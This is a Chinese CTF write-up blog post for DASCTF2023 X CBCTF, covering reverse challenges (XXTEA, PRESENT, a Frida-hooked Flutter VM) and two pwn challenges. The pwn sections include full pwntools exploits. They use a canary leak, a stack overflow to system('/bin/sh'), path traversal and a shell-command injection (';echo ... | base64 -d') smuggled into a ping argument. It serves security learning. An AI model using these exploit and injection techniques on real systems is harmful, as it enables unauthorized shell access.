October 24, 2023

DASCTF2023 X CBCTF

(真的好久没写WP了.jpg)

DASCTF2023 X CBCTF

auuuu3

0x00 Daily Shell Check

无壳32位,但autoit

image-20231024135821162

0x01 ReComplie

找工具.jpg,最后尝试几种了几种发现52上的一个最好用

image-20231024140306100

稍微浏览不难发现加密函数

image-20231024140407983

加密函数在这,把这些弄到ida里,反编译会发现是个XXTEA

image-20231024140450531

0x02 Get Flag

没魔改,直接解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import binascii
from ctypes import *
import struct


def MX(z, y, total, key, p, e):
temp1 = (z.value >> 5 ^ y.value << 2) + (y.value >> 3 ^ z.value << 4)
temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)

return c_uint32(temp1 ^ temp2)


def decrypt(n, v, key):
delta = 0x61C88647
rounds = 6 + 52 // n

total = c_uint32(-rounds * delta)
y = c_uint32(v[0])
e = c_uint32(0)

while rounds > 0:
e.value = (total.value >> 2) & 3
for p in range(n - 1, 0, -1):
z = c_uint32(v[p - 1])
v[p] = c_uint32((v[p] - MX(z, y, total, key, p, e).value)).value
y.value = v[p]
z = c_uint32(v[n - 1])
v[0] = c_uint32(v[0] - MX(z, y, total, key, 0, e).value).value
y.value = v[0]
total.value += delta
rounds -= 1

return v


if __name__ == "__main__":
ct = "7218181A02F79F4B5773E8FFE83FE732DF96259FF2B86AAB945468A132A83D83CF9D750E316C8675"
ct = binascii.a2b_hex(ct)
flag = ""
key = "Wowww111auUu3"
v = struct.unpack('<10I', ct)
k = struct.unpack('<4I', key.encode() + b'\x00' * 3)
v = list(v)
k = list(k)
n = 10
res = decrypt(n, v, k)
for r in res:
print(r.to_bytes(4, 'little').decode(), end='')

marshal

0x00 Daily Shell Check

py源码文件

0x01 ReComplie

一共七层慢慢反编译就可以得到所有汇编

1
2
3
4
5
6
7
8
9
import marshal

code = b'...'


import dis
l = marshal.loads(code)
dis.dis(l)
#exec(l)

继续

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import marshal, dis
from tqdm import tqdm


def addRoundKey(state, roundkey):
return state ^ roundkey


def sBoxLayer(state):
output = 0
for i in range(16):
output += Sbox[(state >> (4 * i)) & 0x0F] << (4 * i)
return output


def desBoxLayer(state):
output = 0
for i in range(16):
output |= Sbox_inv[(state >> (4 * i)) & 0x0F] << (4 * i)
return output


def pLayer(state):
output = 0
for i in range(64):
output += ((state >> i) & 0x01) << Pbox[i]
return output


def depLayer(state):
output = 0
for i in range(64):
output |= ((state >> i) & 0x01) << Pbox_inv[i]
return output


def string2number(s):
return sum(ord(c) << (8 * i) for i, c in enumerate(s))


def generateRoundkeys80(key, rounds):
roundkeys = []
for i in range(rounds + 1):
roundkeys.append(key >> 16)
key = ((key & 0x7FFFFF) << 61) + (key >> 19)
key ^= Sbox[(key >> 76) & 0x0F] << 76
key += (key >> 15)
return roundkeys


Sbox = [
12, 5, 6, 11, 9, 0, 10, 13, 3, 14, 15, 8, 4, 7, 1, 2
]
Pbox = [
0, 16, 32, 48, 1, 17, 33, 49, 2, 18, 34, 50, 3, 19, 35, 51,
4, 20, 36, 52, 5, 21, 37, 53, 6, 22, 38, 54, 7, 23, 39, 55,
8, 24, 40, 56, 9, 25, 41, 57, 10, 26, 42, 58, 11, 27, 43, 59,
12, 28, 44, 60, 13, 29, 45, 61, 14, 30, 46, 62, 15, 31, 47, 63
]
Sbox_inv = [Sbox.index(i) for i in range(16)]
Pbox_inv = [Pbox.index(i) for i in range(64)]


def dis_print(code_Data):
code = marshal.loads(code_Data)
dis.dis(code)

code1_data = b'...'
#dis_print(code1_data)
code2_data = b'...'
#dis_print(code2_data)
code3_data = b'...'
#dis_print(code3_data)
code4_data = b'...'
#dis_print(code4_data)
code5_data = b'...'
dis_print(code5_data)
code6_data = b'...'
#dis_print(code6_data)

def encrypt(blocks):
rounds = 32
roundkeys = generateRoundkeys80(85354531916197809168417, rounds)
out = []

for block in blocks:
state = string2number(block)
for i in range(rounds - 1):
state = addRoundKey(state, roundkeys[i])
state = sBoxLayer(state)
state = pLayer(state)
cipher = addRoundKey(state, roundkeys[-1])
out.append(cipher)

return out


def decrypt(cipher):
rounds = 32
roundkeys = generateRoundkeys80(85354531916197809168417, rounds)
out = []

for block in cipher:
state = addRoundKey(block, roundkeys[-1])
for i in range(rounds - 2, -1, -1):
state = depLayer(state) # 置换层
state = desBoxLayer(state) # S盒层
state = addRoundKey(state, roundkeys[i])

out.append(state)
return out


# inp = input('pls input ur flag: ')
# if len(inp) != 32:
# print('wrong flag!')
# exit(0)

#blocks = [inp[0:8], inp[8:16], inp[16:24], inp[24:32]] # 切分输入为 4 个块

cmps = [120617461261311902, 16357837616839286114, 312508749794633008, 1843701600916795272]
#out_blocks = encrypt(blocks)

# for i in range(4):
# if cmps[i] != out_blocks[i]:
# print('wrong flag!')
# exit(0)

懒了,基本都是gpt帮我翻译的汇编,然而根本是识别成依托,我以为是作者写的加密,但没想到是标准加密,Present,学习了,其实这么多常量和密钥的生成名字,已经很好找到到底是什么加密了

0x02 Get Flag

网上找到一共古老的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
import binascii
# Python PRESENT implementation
# Version: 1.0
# Date: 13/10/2008
#
# =============================================================================
# Copyright (c) 2008 Christophe Oosterlynck (christophe.oosterlynck@gmail.com)
# Philippe Teuwen (philippe.teuwen@nxp.com)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
# =============================================================================

""" PRESENT block cipher implementation

USAGE EXAMPLE:
---------------
Importing:
-----------
>>> from pypresent import Present

Encrypting with a 80-bit key:
------------------------------
>>> key = "00000000000000000000".decode('hex')
>>> plain = "0000000000000000".decode('hex')
>>> cipher = Present(key)
>>> encrypted = cipher.encrypt(plain)
>>> encrypted.encode('hex')
'5579c1387b228445'
>>> decrypted = cipher.decrypt(encrypted)
>>> decrypted.encode('hex')
'0000000000000000'

Encrypting with a 128-bit key:
-------------------------------
>>> key = "0123456789abcdef0123456789abcdef".decode('hex')
>>> plain = "0123456789abcdef".decode('hex')
>>> cipher = Present(key)
>>> encrypted = cipher.encrypt(plain)
>>> encrypted.encode('hex')
'0e9d28685e671dd6'
>>> decrypted = cipher.decrypt(encrypted)
>>> decrypted.encode('hex')
'0123456789abcdef'

fully based on standard specifications: http://www.crypto.ruhr-uni-bochum.de/imperia/md/content/texte/publications/conferences/present_ches2007.pdf
test vectors: http://www.crypto.ruhr-uni-bochum.de/imperia/md/content/texte/publications/conferences/slides/present_testvectors.zip
"""
class Present:

def __init__(self,key,rounds=32):
"""Create a PRESENT cipher object

key: the key as a 128-bit or 80-bit rawstring
rounds: the number of rounds as an integer, 32 by default
"""
self.rounds = rounds
if len(key) * 8 == 80:
self.roundkeys = generateRoundkeys80(string2number(key),self.rounds)
elif len(key) * 8 == 128:
self.roundkeys = generateRoundkeys128(string2number(key),self.rounds)
else:
raise ValueError("Key must be a 128-bit or 80-bit rawstring")

def encrypt(self,block):
"""Encrypt 1 block (8 bytes)

Input: plaintext block as raw string
Output: ciphertext block as raw string
"""
state = string2number(block)
for i in range (self.rounds-1):
state = addRoundKey(state,self.roundkeys[i])
state = sBoxLayer(state)
state = pLayer(state)
cipher = addRoundKey(state,self.roundkeys[-1])
return number2string_N(cipher,8)

def decrypt(self,block):
"""Decrypt 1 block (8 bytes)

Input: ciphertext block as raw string
Output: plaintext block as raw string
"""
state = string2number(block)
for i in range (self.rounds-1):
state = addRoundKey(state,self.roundkeys[-i-1])
state = pLayer_dec(state)
state = sBoxLayer_dec(state)
decipher = addRoundKey(state,self.roundkeys[0])
return number2string_N(decipher,8)

def get_block_size(self):
return 8

# 0 1 2 3 4 5 6 7 8 9 a b c d e f
Sbox= [0xc,0x5,0x6,0xb,0x9,0x0,0xa,0xd,0x3,0xe,0xf,0x8,0x4,0x7,0x1,0x2]
Sbox_inv = [Sbox.index(x) for x in range(16)]
PBox = [0,16,32,48,1,17,33,49,2,18,34,50,3,19,35,51,
4,20,36,52,5,21,37,53,6,22,38,54,7,23,39,55,
8,24,40,56,9,25,41,57,10,26,42,58,11,27,43,59,
12,28,44,60,13,29,45,61,14,30,46,62,15,31,47,63]
PBox_inv = [PBox.index(x) for x in range(64)]

def generateRoundkeys80(key,rounds):
"""Generate the roundkeys for a 80-bit key

Input:
key: the key as a 80-bit integer
rounds: the number of rounds as an integer
Output: list of 64-bit roundkeys as integers"""
roundkeys = []
for i in range(1,rounds+1): # (K1 ... K32)
# rawkey: used in comments to show what happens at bitlevel
# rawKey[0:64]
roundkeys.append(key >>16)
#1. Shift
#rawKey[19:len(rawKey)]+rawKey[0:19]
key = ((key & (2**19-1)) << 61) + (key >> 19)
#2. SBox
#rawKey[76:80] = S(rawKey[76:80])
key = (Sbox[key >> 76] << 76)+(key & (2**76-1))
#3. Salt
#rawKey[15:20] ^ i
key ^= (i << 15) ^ (key >> 19) # 这里的 ^ (key >> 19) 是 DAS的题魔改的,原型没有
return roundkeys

def generateRoundkeys128(key,rounds):
"""Generate the roundkeys for a 128-bit key

Input:
key: the key as a 128-bit integer
rounds: the number of rounds as an integer
Output: list of 64-bit roundkeys as integers"""
roundkeys = []
for i in range(1,rounds+1): # (K1 ... K32)
# rawkey: used in comments to show what happens at bitlevel
roundkeys.append(key >>64)
#1. Shift
key = ((key & (2**67-1)) << 61) + (key >> 67)
#2. SBox
key = (Sbox[key >> 124] << 124)+(Sbox[(key >> 120) & 0xF] << 120)+(key & (2**120-1))
#3. Salt
#rawKey[62:67] ^ i
key ^= i << 62
return roundkeys

def addRoundKey(state,roundkey):
return state ^ roundkey

def sBoxLayer(state):
"""SBox function for encryption

Input: 64-bit integer
Output: 64-bit integer"""

output = 0
for i in range(16):
output += Sbox[( state >> (i*4)) & 0xF] << (i*4)
return output

def sBoxLayer_dec(state):
"""Inverse SBox function for decryption

Input: 64-bit integer
Output: 64-bit integer"""
output = 0
for i in range(16):
output += Sbox_inv[( state >> (i*4)) & 0xF] << (i*4)
return output

def pLayer(state):
"""Permutation layer for encryption

Input: 64-bit integer
Output: 64-bit integer"""
output = 0
for i in range(64):
output += ((state >> i) & 0x01) << PBox[i]
return output

def pLayer_dec(state):
"""Permutation layer for decryption

Input: 64-bit integer
Output: 64-bit integer"""
output = 0
for i in range(64):
output += ((state >> i) & 0x01) << PBox_inv[i]
return output

def string2number(i):
""" Convert a string to a number

Input: string (big-endian)
Output: long or integer
"""

val = int.from_bytes(i, byteorder='big')
# print(hex(val))
return val



def number2string_N(i, N):
"""Convert a number to a string of fixed size

i: long or integer
N: length of string
Output: string (big-endian)
"""
s = '%0*x' % (N*2, i)
return binascii.unhexlify(str(s))

def _test():
import doctest
doctest.testmod()

if __name__ == "__main__":
_test()

输入比较鸡肋,必须得是这种格式(懒得改上述脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pypresent import Present

cmps = [120617461261311902, 16357837616839286114, 312508749794633008, 1843701600916795272]
#cipher = Present(bytes.fromhex('12131415161718192021'))

key = bytes.fromhex('12131415161718192021')
enc = bytes.fromhex('01ac84f124309f9e')
cipher = Present(key)
flag = b''

for i in range(len(cmps)):
round = hex(cmps[i])[2:]
if (len(round) % 2):
round = '0' + round
flag += (cipher.decrypt(bytes.fromhex(round)))[::-1]

print(flag)

Get Flag

image-20231024143201548

GuestBook

0x00 Daily Shell Check

无壳64位

image-20231024143746407

好像PWN应该这样查壳才对,开了个Canary

1
2
3
4
5
6
7
Ξ ~ git:(master) ▶ checksec GuestBook 
[*] '/home/pz/GuestBook'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x01 Find Hole

审计可发现,泄露canary和栈溢出都有,同时题目也有 system(‘/bin/sh’) 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 vuln()
{
char v1[128]; // [rsp+0h] [rbp-A0h] BYREF
char buf[24]; // [rsp+80h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+98h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts(" ____ _ ____ _");
puts(" / ___|_ _ ___ ___| |_| __ ) ___ ___ | | __");
puts("| | _| | | |/ _ \\/ __| __| _ \\ / _ \\ / _ \\| |/ /");
puts("| |_| | |_| | __/\\__ \\ |_| |_) | (_) | (_) | <");
puts(" \\____|\\__,_|\\___||___/\\__|____/ \\___/ \\___/|_|\\_\\");
puts(&byte_40211B);
message = (char *)malloc(0x1000uLL);
if ( !message )
{
puts("Malloc error!");
exit(0);
}
printf("Please input your name: ");
read(0, buf, 32uLL);
printf("Hello %s!", buf); // 泄露Canary
printf("How many messages would you like to leave(MAX 4): ");
__isoc99_scanf("%d", &num);
if ( num > 4 )
{
puts("Too much!");
exit(0);
}
for ( i = 0; i < num; ++i )
{
__isoc99_scanf("%s", message);
strcpy(&v1[32 * i], message); // v1存储溢出
}
puts("Bye!");
return __readfsqword(0x28u) ^ v3; // 要过canary
}

Canary

对应的漏洞点是

1
2
3
char buf[24]; // [rsp+80h] [rbp-20h] BYREF
read(0, buf, 32uLL);
printf("Hello %s!", buf); // 泄露Canary

回忆下有canary栈的结构,可以得知只要我们输入24个字符再加上一个字符覆盖掉canary最后的00即可泄露canary

对应payload

1
2
3
4
sdla("name: ", b'Z' * 24) # 注意还有个 \n 因为是sendlineafter
rc(30)
canary = u64(rc(8)) - 0xA
print(hex(canary))

成功泄露

image-20231024145321158

StackOverflow

随后程序给了四次栈溢出写入的机会(本来还在找这个num是不是整数溢出,然而这种没有强制转换成int就不要找了)

1
2
3
4
5
6
7
8
9
10
11
__isoc99_scanf("%d", &num);
if ( num > 4 )
{
puts("Too much!");
exit(0);
}
for ( i = 0; i < num; ++i )
{
__isoc99_scanf("%s", message);
strcpy(&v1[32 * i], message); // v1存储溢出
}

那我们要的数据就是返回地址和canary由于要注意canary结尾是00,所以要分两次写入,第一次写入返回地址和没有00的canary,第二次把00补上

1
2
3
4
payload = b'Z' * (128 + 24) + p64(canary + 0x1) + b'Z' * 8 + p64(system)
sdl(payload)
payload = b'Z' * (96 + 24) + b'\x00'
sdl(payload)

0x02 Get Flag

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *


def debug(p, point):
gdb.attach(p, point)
input()


elf_name = "./GuestBook"
local = 1
if local == 1:
p = process(elf_name)
else:
p = remote('node4.buuoj.cn', 25983)
elf = ELF(elf_name)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# p = process([elf_name], env = {"LD_PRELOAD": "./libc.so.6"})
# libc = ELF("./libc.so.6")

rc = p.recv
rcl = p.recvline
rcu = p.recvuntil
sd = p.send
sda = p.sendafter
sdl = p.sendline
sdla = p.sendlineafter


def main():
magic = elf.symbols['magic']
system = 0x4012C3
ret = 0x000000000040101a

sdla("name: ", b'Z' * 24)
rc(30)
canary = u64(rc(8)) - 0xA
print(hex(canary))


sdla("leave(MAX 4): ", b'2')

#debug(p, "b *0x401463")
payload = b'Z' * (128 + 24) + p64(canary + 0x1) + b'Z' * 8 + p64(system)
sdl(payload)
payload = b'Z' * (96 + 24) + b'\x00'
sdl(payload)
#input()

p.interactive()


main()

ESAYBOX

0x00 Daily Shell Check

开了NX和CANARY

1
2
3
4
5
6
7
pz@pz-virtual-machine:PWN/CB ‹master*›$ checksec pwn      
[*] '/home/pz/Desktop/PWN/CB/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x01 Find Hole

这题有system函数,也有sh,无疑找到一处栈溢出直接就可以get shell,同时要想办法泄露canary

canary好泄露的一处提示点,存在了这里

image-20231026165304172

那么溢出点一共有两处,第一处在 main 函数,但是canary结尾的00得写入两次,而主函数第一次要是输入的不是指定的命令就退出了,所以就是第二处溢出点,可以实现读入溢出

image-20231026165540109

于是思路就是先泄露canary,再把payload写入某个文件,让这边读入进去实现栈溢出

Leak Canary

执行到cat命令,再把canary直接打印出来

1
2
3
4
5
6
# leak canary
sdla("name:", "P.Z")
sdla("$ ", "CAT")
sdla("view: ", "../secret/canary.txt")
canary = int(rc(0x10), 16)
print(hex(canary))

Stack Overflow

这里用到linux小知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# stack overflow
sdla("$ ", "PING")
payload = b'Z' * 0x48 + p64(canary) + p64(0)
payload += p64(pop_rdi_ret) + p64(sh) + p64(ret) + p64(system)
payload = base64.b64encode(payload)
print(len(payload))
pd = b';echo ' + b'"'
pd += payload
pd += b'" | base64 -d'
#print(pd)
sdla("address:", pd)

# get shell
sdla("$ ", "CAT")
sdla("view: ", "result.txt")

首先在ping命令会读入我们的输入,然年后ping,还有检查命令什么的,所以先base64了我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 pingCommand()
{
char s[256]; // [rsp+0h] [rbp-310h] BYREF
char command[520]; // [rsp+100h] [rbp-210h] BYREF
unsigned __int64 v3; // [rsp+308h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
printf("Enter an IP address: ");
Read(s, 255LL);
memset(command, 0, 0x200uLL);
sprintf(command, "ping -c 4 %s > /tmp/result.txt", s);
if ( (unsigned int)check_ip(s) )
exit(-1);
system(command);
printf("\x1B[32mPing result has been saved in /tmp/result.txt\n\x1B[0m");
return __readfsqword(0x28u) ^ v3;
}

再用分号结束原本语句,base64解码到文件中,实际系统执行了这样的语句

1
ping -c 4 ;echo "WlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaAISAoA2jqGUAAAAAAAAAAOMcQAAAAAAAkCBAAAAAAAAaEEAAAAAAADASQAAAAAAA" | base64 -d > /tmp/result.txt

0x02 Get Flag

最后再回到CAT命令,让系统读入该payload,直接get shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import *
import base64


def debug(p, point):
gdb.attach(p, point)
input()


#elf_name = "./elf_name"
local = 0
if local == 1:
p = process(elf_name)
else:
p = remote('node4.buuoj.cn', 25012)
#elf = ELF(elf_name)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
# p = process([elf_name], env = {"LD_PRELOAD": "./libc.so.6"})
# libc = ELF("./libc.so.6")

rc = p.recv
rcl = p.recvline
rcu = p.recvuntil
sd = p.send
sda = p.sendafter
sdl = p.sendline
sdla = p.sendlineafter


if __name__ == '__main__':

pop_rdi_ret = 0x401ce3
system = 0x401230
sh = 0x402090
ret = 0x40101a

# leak canary
sdla("name:", "P.Z")
sdla("$ ", "CAT")
sdla("view: ", "../secret/canary.txt")
canary = int(rc(0x10), 16)
print(hex(canary))

# stack overflow
sdla("$ ", "PING")
payload = b'Z' * 0x48 + p64(canary) + p64(0)
payload += p64(pop_rdi_ret) + p64(sh) + p64(ret) + p64(system)
payload = base64.b64encode(payload)
print(len(payload))
pd = b';echo ' + b'"'
pd += payload
pd += b'" | base64 -d'
#print(pd)
sdla("address:", pd)

# get shell
sdla("$ ", "CAT")
sdla("view: ", "result.txt")

p.interactive()

vm_flutter

0x00 Daily Shell Check

无壳apk逆向

0x01 VM

flutter只是纸老虎,实际加密都在java层,然而我看到flutter题目都没打开,乐,看到wp作者说只有opcode在dart层,但其实无关紧要,只要hook出VM所有操作,就能理解加密了,而且只是稍加分析会发现这是个基于栈的虚拟机,都是调用这两个函数

image-20231027222932068

在这也能发现所有的字节码都给了字符串提示,只需要找到相应被混淆的函数名改成这里的操作即可

image-20231027223033084

于是hook所有VM的step

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
bActivity.a.implementation = function() {
console.log("Lshift");
}

bActivity.b.implementation = function() {
console.log("Rshift");
}

bActivity.c.implementation = function() {
console.log("add");
}

bActivity.d.implementation = function() {
console.log("and");
}

bActivity.e.implementation = function(a) {
console.log("load " + a);
}

bActivity.f.implementation = function() {
console.log("mul");
}

bActivity.g.implementation = function() {
console.log("or");
}

bActivity.h.implementation = function() {
console.log("pop");
}

bActivity.i.implementation = function(a) {
console.log("push ", + a);
}

bActivity.j.implementation = function(a) {
console.log("store " + a);
}

bActivity.k.implementation = function() {
console.log("store");
}

bActivity.l.implementation = function() {
console.log("xor");
}

即可打印出所有操作,可以发现加密也十分简单,所有加密都是先加然后异或

image-20231027223233681

这题就这样结束了…真的算不上难题,应该算中等偏简单了,然而我后续我想打印check函数,这个bVar里的f741b

image-20231027223354005

遇到了几个坑

image-20231027223441917

但是一直打印出,纳闷了,怎么变函数了??

image-20231027223634696

image-20231027223655668

image-20231027223736450

(简单的一个下划线折腾几小时.jpg)

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
function main() {
Java.perform(function(){
var mainActivity = Java.use("com.dasctf.vm_flutter.vm_flutter.MainActivity");
var bActivity = Java.use("k.b");

mainActivity.S.implementation = function(bVar) {
console.log("[*] Call Check!");
// var fields = bActivity.class.getDeclaredFields();
// var methods = bActivity.class.getDeclaredMethods();
// for ( var i = 0; i < fields.length; i++ ){
// console.log(fields[i].getName());
// };
// for ( var i = 0; i < methods.length; i++ ){
// console.log(methods[i].getName());
// };
console.log("para: " + bVar._b.value);
// for (var i = 0; i < 33; i++) {
// var fieldValue = bVar.$b[i].value;
// console.log("f741b[" + i + "] = " + fieldValue);
// }
// var result = this.S(bVar);
// console.log("result: " + result);
return this.S(bVar);
}

bActivity.a.implementation = function() {
console.log("Lshift");
}

bActivity.b.implementation = function() {
console.log("Rshift");
}

bActivity.c.implementation = function() {
console.log("add");
}

bActivity.d.implementation = function() {
console.log("and");
}

bActivity.e.implementation = function(a) {
console.log("load " + a);
}

bActivity.f.implementation = function() {
console.log("mul");
}

bActivity.g.implementation = function() {
console.log("or");
}

bActivity.h.implementation = function() {
console.log("pop");
}

bActivity.i.implementation = function(a) {
console.log("push ", + a);
}

bActivity.j.implementation = function(a) {
console.log("store " + a);
}

bActivity.k.implementation = function() {
console.log("store");
}

bActivity.l.implementation = function() {
console.log("xor");
}
})
}

main();

// frida -U -f com.dasctf.vm_flutter.vm_flutter -l vm_flutter.js --no-pause

0x02 Get Flag

作者写的好用的正则表达(改天一定好好学学正则)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
import re

output = '''push 48
store 0
push 176
push 11
load 0
add
xor
store 0
push 48
store 1
push 198
push 18
load 1
add
xor
store 1
push 48
store 2
push 66
push 5
load 2
add
xor
store 2
push 48
store 3
push 199
push 18
load 3
add
xor
store 3
push 48
store 4
push 170
push 14
load 4
add
xor
store 4
push 48
store 5
push 32
push 13
load 5
add
xor
store 5
push 48
store 6
push 31
push 14
load 6
add
xor
store 6
push 48
store 7
push 60
push 18
load 7
add
xor
store 7
push 48
store 8
push 26
push 13
load 8
add
xor
store 8
push 48
store 9
push 89
push 18
load 9
add
xor
store 9
push 48
store 10
push 60
push 17
load 10
add
xor
store 10
push 48
store 11
push 119
push 19
load 11
add
xor
store 11
push 48
store 12
push 60
push 17
load 12
add
xor
store 12
push 48
store 13
push 90
push 5
load 13
add
xor
store 13
push 48
store 14
push 104
push 13
load 14
add
xor
store 14
push 48
store 15
push 174
push 19
load 15
add
xor
store 15
push 48
store 16
push 146
push 11
load 16
add
xor
store 16
push 48
store 17
push 179
push 5
load 17
add
xor
store 17
push 48
store 18
push 67
push 15
load 18
add
xor
store 18
push 48
store 19
push 73
push 11
load 19
add
xor
store 19
push 48
store 20
push 50
push 12
load 20
add
xor
store 20
push 48
store 21
push 92
push 19
load 21
add
xor
store 21
push 48
store 22
push 170
push 19
load 22
add
xor
store 22
push 48
store 23
push 160
push 9
load 23
add
xor
store 23
push 48
store 24
push 166
push 15
load 24
add
xor
store 24
push 48
store 25
push 47
push 8
load 25
add
xor
store 25
push 48
store 26
push 155
push 19
load 26
add
xor
store 26
push 48
store 27
push 115
push 9
load 27
add
xor
store 27
push 48
store 28
push 60
push 13
load 28
add
xor
store 28
push 48
store 29
push 52
push 12
load 29
add
xor
store 29
push 48
store 30
push 42
push 5
load 30
add
xor
store 30
push 48
store 31
push 96
push 19
load 31
add
xor
store 31
push 48
store 32
push 72
push 7
load 32
add
xor
store 32'''
pattern = r'push\s+(\d+)'
final = [255, 149, 26, 146, 200, 115, 150, 68, 36, 222, 185, 240, 74, 45, 4, 234, 236, 215, 62, 114, 178, 46, 205, 209,
214, 83, 233, 34, 82, 74, 67, 36, 204]
matches = re.findall(pattern, output)
print(matches)
#print(matches)
for i in range(len(final)):
print(chr((final[i] ^ (int(matches[i * 3 + 1]))) - int(matches[i * 3 + 2])), end='')

Get Flag!

image-20231027224014770

DASCTF X SU
🍬
HFCTF2022
🍪

About this Post

This post is written by P.Z, licensed under CC BY-NC 4.0.